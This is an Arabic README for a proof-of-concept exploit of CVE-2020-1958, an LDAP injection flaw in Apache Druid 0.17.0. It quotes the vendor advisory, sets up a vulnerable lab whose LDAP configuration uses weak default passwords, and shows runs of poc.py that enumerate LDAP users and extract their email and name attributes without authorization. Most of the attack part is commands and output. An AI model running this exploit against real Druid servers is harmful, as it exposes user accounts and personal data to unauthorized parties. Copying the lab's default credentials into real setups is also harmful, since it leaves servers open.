
إثبات مفهوم لاستغلال CVE-2020-1958، وهي ثغرة حقن LDAP في Apache Druid 0.17.0، تتيح تعداد المستخدمين واستخراج سمات LDAP.
CVE-2020-1958 هي ثغرة عالية الخطورة من نوع حقن LDAP في Apache Druid الإصدار 0.17.0. تسمح للمهاجم بتجاوز مرشح بحث LDAP واسترجاع أي قيم لسمات LDAP للمستخدمين الموجودين على خادم LDAP.
من الإشعار الرسمي لـ Apache Druid:
عند تمكين مصادقة LDAP:
- يمكن للمتصلين بواجهات برمجة تطبيقات Druid بمجموعة صالحة من بيانات اعتماد LDAP تجاوز حاجز مرشح
credentialsValidator.userSearchالذي يحدد ما إذا كان مستخدم LDAP صالحًا مسموحًا له بالمصادقة مع Druid. لا يزالون خاضعين لفحوصات التفويض المستندة إلى الأدوار، إذا تم تكوينها.- يمكن للمتصلين بواجهات برمجة تطبيقات Druid استرجاع أي قيم لسمات LDAP للمستخدمين الموجودين على خادم LDAP، طالما أن تلك المعلومات مرئية لخادم Druid. لا يتطلب هذا الكشف عن المعلومات أن يكون المتصل نفسه مستخدم LDAP صالحًا.
يوضح النص البرمجي poc.py كيف يمكن لمهاجم غير مصرح له تعداد المستخدمين على خادم LDAP المدمج مع Druid وجلب قيمة أي سمة لأي مستخدم.
تخط هذه الخطوة إذا كان لديك بالفعل خادم Druid مع تمكين مصادقة LDAP.
قم بتنزيل Druid 0.17.0 واستخراجه
$ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz
$ tar -zxf apache-druid-0.17.0-bin.tar.gz
قم بتمكين وتكوين مصادقة LDAP في conf/druid/single-server/nano-quickstart/_common/common.runtime.properties
تمكين ملحق druid-basic-security
حدد موقع druid.extensions.loadList وأضف druid-basic-security:
druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
تكوين مصادقة LDAP
أضف ما يلي في نهاية الملف:
druid.auth.authenticatorChain=["ldap"]
druid.auth.authenticator.ldap.type=basic
druid.auth.authenticator.ldap.initialAdminPassword=password
druid.auth.authenticator.ldap.initialInternalClientPassword=password
druid.auth.authenticator.ldap.credentialsValidator.type=ldap
druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
druid.escalator.type=basic
druid.escalator.internalClientUsername=user1
druid.escalator.internalClientPassword=user1
druid.escalator.authorizerName=MyAuthorizer
druid.auth.authorizers=["MyAuthorizer"]
druid.auth.authorizer.MyAuthorizer.type=basic
druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
تشغيل خادم OpenLDAP
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
استيراد المستخدمين من users.ldif إلى LDAP
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
تشغيل خادم Druid
$ bin/start-nano-quickstart
$ ./poc.py --url http://127.0.0.1:8888/
[INFO] Enumerating users from http://127.0.0.1:8888/
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
[email protected]
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
admin1
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
last